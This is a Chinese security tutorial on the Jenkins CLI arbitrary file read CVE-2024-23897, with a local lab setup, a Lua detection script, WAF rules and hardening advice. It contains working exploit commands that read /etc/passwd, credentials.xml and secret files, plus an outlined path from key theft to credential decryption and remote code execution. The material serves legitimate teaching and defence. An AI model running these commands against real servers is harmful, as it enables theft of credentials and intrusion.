        ▼  (args4j 展开)
help "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
..."
        │
        ▼  (命令回显/报错时把内容带出来)
攻击者看到文件内容

7.2 影响版本与修复版本

影响(存在漏洞) 修复
周版本 ≤ 2.441 2.442
LTS ≤ 2.426.2 2.426.3、2.440.1

官方:Jenkins Security Advisory 2024-01-24,编号 SECURITY-3314 / CVE-2024-23897。

7.3 权限差异(很重要,直接决定能读多少)

  • 未授权(匿名) :能读文件的前几行(官方说近期版本无插件时最多前 3 行)。
  • 有 Overall/Read 权限 :能读整个文件。

所以"未授权读单行文件"= 完整内容;"未授权读多行文件"= 只漏前几行。

7.4 危害

关键事实:

项 值
CVSS 9.8(Critical)
CWE CWE-22 路径穿越
发现者 SonarSource(Yaniv Nizry)
披露 2024-01-24
CISA KEV 2024-08-19 收录(已在真实攻击中被利用,含勒索软件)

可被读取的关键文件(官方公告列出):

text 复制代码
$JENKINS_HOME/secrets/master.key   # 主加密密钥(解密凭据的关键)
$JENKINS_HOME/secret.key           # 签名密钥
$JENKINS_HOME/credentials.xml      # 加密的凭据库
$JENKINS_HOME/config.xml           # 完整安全配置
/etc/passwd、SSH 私钥等系统文件     # 以及 initialAdminPassword、users/*/config.xml

完整攻击链(官方方向):

text 复制代码
未授权读前几行 / 授权读整文件(含二进制秘密)
        ↓
拿到 master.key 等密钥 → 解密 credentials.xml
        ↓
得到云密钥、Git Token、SSH 私钥等明文
        ↓
用凭据登录 / 建恶意 Job / 在 agent 上执行代码
        ↓
RCE、横向移动、供应链投毒

这也是为什么官方强调:只要怀疑 master key 可能被读过,就必须假定所有凭据已泄露、全部轮换,光打补丁不够。


8. 漏洞验证(仅限授权环境)> 前提:3 节环境已起,http://127.0.0.1:8080 可访问,~/jenkins-lab 里有 CLI jar。

8.1 下载 CLI 工具

bash 复制代码
cd ~/jenkins-lab
curl -O http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar

8.2 先验证 CLI 通不通

bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket who-am-i
# Authenticated as: anonymous
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket version
# 2.426.2

若 -webSocket 报错,换 -http;再不行去掉传输参数(走 TCP 50000):

java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ help

8.3 未授权任意文件读取验证(读前几行 / 单行文件完整读)

读 Linux 的单行文件(整行都能读出来):

bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket help '@/etc/hostname'

读 macOS 的良性文件(本机是 mac 时用这个):

bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket help '@/etc/hosts'

读多行文件(未授权只能看到前几行):

bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket help '@/etc/passwd'

预期效果:输出里回显出文件内容(前 1~3 行)。不同小版本回显格式略有差异,重点看文件内容有没有被打出来。

8.4 授权后读完整文件(体现"权限差异")

  1. 生成 API Token:右上角 admin → Configure → API Token → Add new Token → 复制。
  2. 带鉴权,用能整段回显参数的 connect-node(下面先用明文写法演示,安全写法见 8.6):
bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
  -auth admin:你的TOKEN connect-node '@/etc/passwd'
# 报错信息里会带出完整 /etc/passwd

读我们放的"模拟秘密文件":

bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
  -auth admin:你的TOKEN connect-node '@/Users/你的用户名/secret_flag.txt'

读 Jenkins 自己的凭据配置(敏感,仅限自己实验环境):

bash 复制代码
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
  -auth admin:你的TOKEN connect-node '@/Users/你的用户名/.jenkins/credentials.xml'

8.5 修复版对比(可选,加深理解)

bash 复制代码
cd ~/jenkins-lab
# 另起一个修复版(先停掉旧的,或换端口 8081)
curl -L -o jenkins-2.426.3.war https://get.jenkins.io/war-stable/2.426.3/jenkins.war
JENKINS_HOME=~/.jenkins-fixed java -jar jenkins-2.426.3.war --httpPort=8081
# 重新下载对应 cli jar 后,同样命令会失败/不再回显文件内容

8.6 凭据安全:别把 Token 裸写在命令行

上面 8.4 用了 -auth 用户名:Token 明文写法,官方不推荐 ------Token 会同时漏进:

~/.bash_history/~/.zsh_history、ps aux 进程列表、终端录屏、CI 日志、set -x 回显。这些地方你补不干净。

官方推荐:把凭据放进文件,用 @ 引用 (注意别和漏洞里的 @ 文件读取混淆------这里是 CLI 的 -auth @文件 正常用法):

bash 复制代码
# ① 凭据文件(官方最推荐)
printf 'admin:你的TOKEN' > ~/.jenkins-cli     # 用 printf 避免末尾多余换行
chmod 600 ~/.jenkins-cli                      # 只有自己可读
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
  -auth @$HOME/.jenkins-cli connect-node '@/etc/passwd'
# 注意: @ 后面用 $HOME 完整路径,不要用 ~(Java 不认 ~ 简写)

封装成 alias,日常零秘密:

bash 复制代码
alias jcli='java -jar ~/jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket -auth @$HOME/.jenkins-cli'
# 写入 shell 配置永久生效(zsh 用 ~/.zshrc)
echo "alias jcli='java -jar ~/jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket -auth @$HOME/.jenkins-cli'" >> ~/.zshrc
jcli who-am-i

其它方式:

bash 复制代码
# ② Bearer Token 文件(新版 CLI,文件里只放 token 本身,不含用户名)
printf '你的TOKEN' > ~/.jenkins-token && chmod 600 ~/.jenkins-token
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket -bearer @$HOME/.jenkins-token who-am-i

# ③ 环境变量(把 export 写进 600 权限文件再 source,别直接在命令行 export)
# ~/.jenkins-env: export JENKINS_USER_ID=admin / export JENKINS_API_TOKEN=xxx
source ~/.jenkins-env && jcli who-am-i

如果已经明文跑过 :先吊销 Token (头像 → Security → API Token → 删除重生成)------吊销是确定性止损;再清 history(history -d 行号 + history -w)。顺序别反。


9. 编写检测插件

9.1 思路(分四步)

  1. 指纹识别 :请求 /,从 X-Jenkins 响应头(或 HTML)拿版本号。
  2. 版本预筛 :< 2.442 判为"可能受影响"(只缩小范围,不当作最终结论)。
  3. 主动验证 :下载 jenkins-cli.jar,用 java 发起 help '@/良性文件',看输出是否回显文件内容。
  4. 判定 + 报告:输出是否复现 + 修复建议。

为什么"版本 + 主动验证"结合?因为版本号存在周版本/LTS 边界(如 2.426.3 已修复但 < 2.442),

只靠版本会误报。主动验证才是最终证据。

9.2 安装依赖

bash 复制代码
# macOS
brew install lua luarocks
luarocks install luasocket
# 若编译报错,先装命令行工具:xcode-select --install

# Linux
sudo apt install -y lua5.3 luarocks liblua5.3-dev
sudo luarocks install luasocket

# 验证
lua -e 'require("socket.http"); print("luasocket ok")'

9.3 完整脚本

把下面内容保存为 jenkins_cve_2024_23897.lua:

lua 复制代码
-- ============================================================
-- Jenkins CVE-2024-23897 任意文件读取 检测/无损验证脚本
-- 依赖: LuaSocket  (luarocks install luasocket)
-- 用法:
--   lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080
--   lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080 /etc/os-release
--   lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080 /etc/passwd   # 有风险,慎用
-- ============================================================
local http  = require("socket.http")
local ltn12 = require("ltn12")

local target = (arg[1] or "http://127.0.0.1:8080"):gsub("/+$", "")
local file   = arg[2]                    -- 不传则由脚本按平台选良性文件
local osname = (io.popen("uname"):read("*l") or "Linux")

local DEFAULT_FILES = {
  Linux  = "/etc/hostname",   -- 单行,非敏感,内容可预测
  Darwin = "/etc/shells",     -- macOS: 系统 shell 列表,良性
}
local TRANSPORT = "-webSocket"  -- 换 "-http" 或 "" (默认remoting) 亦可

-- ---------- 工具 ----------
local function header_get(h, name)
  if not h then return nil end
  local ln = name:lower()
  for k, v in pairs(h) do
    if tostring(k):lower() == ln then return v end
  end
  return nil
end

local function ver_cmp(a, b)
  local function to_t(s)
    local t = {}
    for n in tostring(s):gmatch("%d+") do t[#t+1] = tonumber(n) end
    return t
  end
  local x, y = to_t(a), to_t(b)
  for i = 1, math.max(#x, #y) do
    local u, v = x[i] or 0, y[i] or 0
    if u ~= v then return (u < v) and -1 or 1 end
  end
  return 0
end

local function http_get(u)
  local t = {}
  local ok, code, headers = http.request{
    url = u, redirect = true,
    sink = ltn12.sink.table(t),
    headers = { ["User-Agent"] = "cve-2024-23897-checker/1.0" },
  }
  return code, table.concat(t), headers
end

-- ---------- 1. 指纹识别 ----------
local function fingerprint()
  local code, body, headers = http_get(target .. "/")
  if not code or code ~= 200 then
    print("[!] 目标无响应: " .. tostring(code)); return nil
  end
  local ver = header_get(headers, "X-Jenkins")
  if not ver then
    ver = body:match('data%-version="([%d%.]+)"')
        or body:match("Jenkins%s+ver%.%s+([%d%.]+)")
  end
  return ver
end

-- ---------- 2. 版本预筛 ----------
local function maybe_vulnerable(ver)
  -- 修复: 2.442 / 2.426.3 / 2.440.1。此处只做粗筛,最终靠主动验证
  return ver_cmp(ver, "2.442") < 0
end

-- ---------- 3. 下载 cli jar ----------
local function get_cli_jar()
  local jar = "/tmp/jenkins-cli.jar"
  local f = io.open(jar, "r")
  if f then f:close(); return jar end
  local fo = assert(io.open(jar, "wb"))
  local ok, code = http.request{
    url = target .. "/jnlpJars/jenkins-cli.jar",
    sink = ltn12.sink.file(fo),
    headers = { ["User-Agent"] = "cve-2024-23897-checker/1.0" },
  }
  fo:close()
  return (code == 200) and jar or nil
end

-- ---------- 4. 主动验证 ----------
local function verify(f)
  local jar = get_cli_jar()
  if not jar then print("[-] 无法下载 jenkins-cli.jar(可能CLI已禁用/目标非Jenkins)"); return nil end
  local cmd
  if TRANSPORT == "" then
    cmd = string.format('java -jar "%s" -s "%s" help "@%s" 2>&1', jar, target, f)
  else
    cmd = string.format('java -jar "%s" -s "%s" %s help "@%s" 2>&1', jar, target, TRANSPORT, f)
  end
  print("[*] 执行: " .. cmd)
  local p = io.popen(cmd)
  local out = p:read("*a")
  p:close()
  return out
end

-- ---------- 主流程 ----------
local ver = fingerprint()
if not ver then os.exit(1) end
print("[+] 识别到 Jenkins 版本: " .. ver)

if not maybe_vulnerable(ver) then
  print("[-] 版本 " .. ver .. " >= 2.442,大概率已修复(预筛结果)")
  print("    (如需严格确认可继续主动验证)")
end

local target_file = file or DEFAULT_FILES[osname] or "/etc/hostname"
print("[*] 无损验证文件(非敏感): " .. target_file)

local out = verify(target_file)
if out and #out > 0 then
  print("\n[+] ========== 命令输出 ==========")
  print(out)
  print("[+] ========== 判定 ==========")
  print("[+] 疑似存在 CVE-2024-23897(已主动验证)。请人工核对输出是否含目标文件内容。")
  print("[+] 修复建议: 升级到 2.442 / 2.426.3 / 2.440.1,或禁用 CLI。")
else
  print("[-] 未复现: 目标可能已修复/CLI已禁用/网络不通。")
end

9.4 运行

bash 复制代码
lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080
# 想指定其它良性文件:
lua jenkins_cve_2024_23897.lua http://127.0.0.1:8080 /etc/os-release

说明:脚本用 java -jar jenkins-cli.jar 是因为 Jenkins CLI 是二进制 remoting/WebSocket 协议,

纯 Lua 手写协议成本高且易错;让 Lua 做"编排 + 指纹 + 判定",让官方 CLI 工具做"传输",

是可靠又便于入门的做法。要迁移到别的扫描框架,只需把"指纹/版本/验证/判定"这几步换成目标框架的 API 即可。


10. 生产环境无损验证

"无损"= 不改状态 + 不搬走敏感数据。原则:

  1. 只读、不写:不触发构建、不建 Job、不删任何东西。
  2. 只读"已知且非敏感"的文件:内容能预测、无秘密,用来证明"读文件"这个原语成立即可。
  3. 最小化:只读 1~2 个良性文件,读完即止。
  4. 授权边界:只对你有授权的资产做。
  5. 全程留痕:记录时间、目标、命令、输出,形成验证报告。

推荐的无损验证文件(Linux):

bash 复制代码
/etc/hostname      # 单行:主机名(和实际 hostname 比对)
/etc/os-release    # 第一行 PRETTY_NAME(可判断发行版)
/proc/version      # 第一行内核版本

判定方式:回显内容是否等于预期值 。例如 help '@/etc/hostname' 输出若包含主机名,即可确认漏洞真实存在且可利用,而全程没有触碰任何敏感数据。

反面教材:生产里千万别读 /etc/shadow、credentials.xml、私钥、数据库配置等------

那已经超出"无损验证"的边界,可能构成数据泄露。


11. WAF 能否拦截 + 规则怎么写

11.1 结论(先给)

  • 能拦,但靠"找 @/etc/passwd 字符串"这种朴素签名基本拦不住 。因为 -webSocket/-http
    传输时,参数被序列化(二进制/分帧),WAF 看到的是字节流,不是明文 @/etc/passwd;
    @ 展开发生在服务端反序列化之后。
  • 最有效的 WAF 动作是"封堵 CLI 入口" :把 /cli、/jnlpJars/jenkins-cli.jar 拦截掉,
    就等于关掉了这条攻击通道。
  • 朴素签名可以作为兜底(对某些明文变体/老协议有效),但不能当作主要防线。

11.2 拦截点

端点 说明
/cli(HTTP POST / WebSocket 升级) CLI 真正入口,攻击必经
/jnlpJars/jenkins-cli.jar 攻击者先下 CLI 工具
参数含 @/etc/、@/proc/、@C:\ 等 明文变体的兜底特征

11.3 ModSecurity 规则(Apache/Nginx + ModSecurity)

apache 复制代码
# 规则1: 封堵 Jenkins CLI 入口(业务不用 CLI 时直接 deny)
SecRule REQUEST_URI "^/cli(?:/|$)" \
  "id:100001,phase:1,deny,status:403,log,\
   msg:'Jenkins CLI endpoint blocked (CVE-2024-23897 mitigation)'"

# 规则2: 阻断 CLI 工具下载
SecRule REQUEST_URI "^/jnlpJars/jenkins-cli\.jar$" \
  "id:100002,phase:1,deny,status:403,log,\
   msg:'Jenkins CLI jar download blocked'"

# 规则3: 兜底签名(需开启请求体检查; 对明文变体有效)
SecRule REQUEST_URI|ARGS|REQUEST_BODY "@\s*/(etc|proc|var|home|root|tmp)/" \
  "id:100003,phase:2,deny,status:403,log,\
   msg:'CVE-2024-23897 file-read pattern detected'"

注意事项:

  • 请求体规则要放在 phase:2,并确保 SecRequestBodyAccess On。
  • 规则1/2 可能影响正常脚本化运维(如果业务真的用 CLI),应改为"仅内网放行 + 外网 deny"。

11.4 OpenResty / nginx Lua WAF 示例

lua 复制代码
-- nginx.conf 的 location 内
access_by_lua_block {
    local uri = ngx.var.uri

    -- 1) 封堵 CLI 入口
    if uri == "/cli" or uri:find("^/cli/") then
        ngx.log(ngx.WARN, "blocked Jenkins CLI: ", uri)
        return ngx.exit(403)
    end

    -- 2) 封堵 CLI 工具下载
    if uri:find("^/jnlpJars/jenkins%-cli%.jar$") then
        ngx.log(ngx.WARN, "blocked jenkins-cli.jar download")
        return ngx.exit(403)
    end

    -- 3) 兜底: 明文参数出现 @/ 文件特征
    for k, v in pairs(ngx.req.get_uri_args()) do
        if type(v) == "string" and v:find("@%s*/") then
            ngx.log(ngx.WARN, "suspicious @file arg: ", k, "=", v)
            return ngx.exit(403)
        end
    end
}

11.5 更稳的组合策略

  1. 网络层:Jenkins 只允许内网/跳板机访问,公网一律禁止。
  2. WAF :封 /cli、/jnlpJars/jenkins-cli.jar;保留 @/ 签名兜底。
  3. 主机/应用层:升级到修复版;或禁用 CLI;开启审计日志。
  4. 监控:告警"下载 jenkins-cli.jar 后紧跟 POST /cli"的行为序列。

WAF 是缓解,升级/禁用 CLI 才是根治。


12. 修复与加固

12.1 根治:升级

bash 复制代码
# 停止旧实例,替换 war 为修复版
curl -L -o jenkins.war https://get.jenkins.io/war-stable/2.426.3/jenkins.war
java -jar jenkins.war --httpPort=8080

修复版本:2.442(周版本)/ 2.426.3 / 2.440.1(LTS)。

12.2 临时缓解:禁用 CLI(无需重启,官方建议)

三种方式任选:

bash 复制代码
# ① UI 方式(最省事,无需重启): Manage Jenkins → Configure Global Security
#    取消勾选 "Enable CLI over Remoting" → 保存
bash 复制代码
# ② 系统属性方式(不同版本属性名可能略有差异,常见为 jenkins.CLI.disabled)
java -Djenkins.CLI.disabled=true -jar jenkins.war --httpPort=8080
groovy 复制代码
// ③ 脚本控制台方式
jenkins.model.Jenkins.instance.getDescriptor("jenkins.CLI").get().setEnabled(false)

注意:hudson.cli.CLICommand.allowAtSyntax=true 是"若修复破坏了兼容性时重新放开 @ 语法",

不是修复手段,别混淆。

12.3 事后必做 + 防御清单

光打补丁不够 :只要 master.key 可能被读过,就必须假定所有凭据已泄露、全部轮换(云密钥、Git Token、SSH 私钥、部署密码)。轮换凭据是"确定性止损",比查日志更可靠。

防御清单(按优先级):

优先级 措施
P0 杜绝匿名访问,Overall/Read 不给 anonymous
P0 版本 ≥ 2.442 / LTS 2.426.3(修 CVE-2024-23897)
P0 Jenkins 绝不用 root 跑
P1 --httpListenAddress=127.0.0.1 绑定回环,远程走 Nginx/SSH 隧道
P1 Nginx 层封 /script、/scriptText
P1 关闭不用的 CLI 通道
P2 开审计日志,监控 /script、/cli、config.xml 的访问
P2 清理 config.xml 里的硬编码密码,统一走凭据管理
P2 定期轮换凭据(尤其怀疑被影响过的实例)

12.4 其它加固

  • 给 API Token 设过期、最小权限;不同用途用不同 Token。
  • 限制 POST /script 脚本控制台权限(只给极少数管理员)。
  • 凭据命令行零明文(见 8.6,用 -auth @文件)。
  • 开启 Jenkins 审计日志,接入 SIEM。

13. 参考链接


本文仅用于授权环境下的安全学习与防御,请勿用于未授权测试。

相关推荐
BullSmall2 小时前
SonarQube 9.9.8-community 适配 Jenkins 版本说明
java·前端·jenkins
西柚不烦恼4 小时前
jenkins版本和java版本的依赖
java·开发语言·jenkins
pengdott1 天前
Rocky linux9安装Jenkins最新版本2.585
运维·jenkins·流水线
回眸不遇2 天前
Elasticsearch嵌套类型nested使用指南<第七十二篇>
大数据·elasticsearch·jenkins
pengdott2 天前
Jenkins最新版本2.585修改插件源的方法
jenkins·流水线
蓝胖的四次元口袋2 天前
Jenkins知识梳理(2)
运维·jenkins
元Y亨H4 天前
基于 Jenkins + Docker 的前端(Vben Admin)CI/CD 踩坑
docker·jenkins
小白的码BUG之路4 天前
Jenkins -- 连接gitee
运维·gitee·jenkins
诚丞成4 天前
ELK日志分析:Elasticsearch索引、Logstash接入与Kibana可视化
elk·elasticsearch·jenkins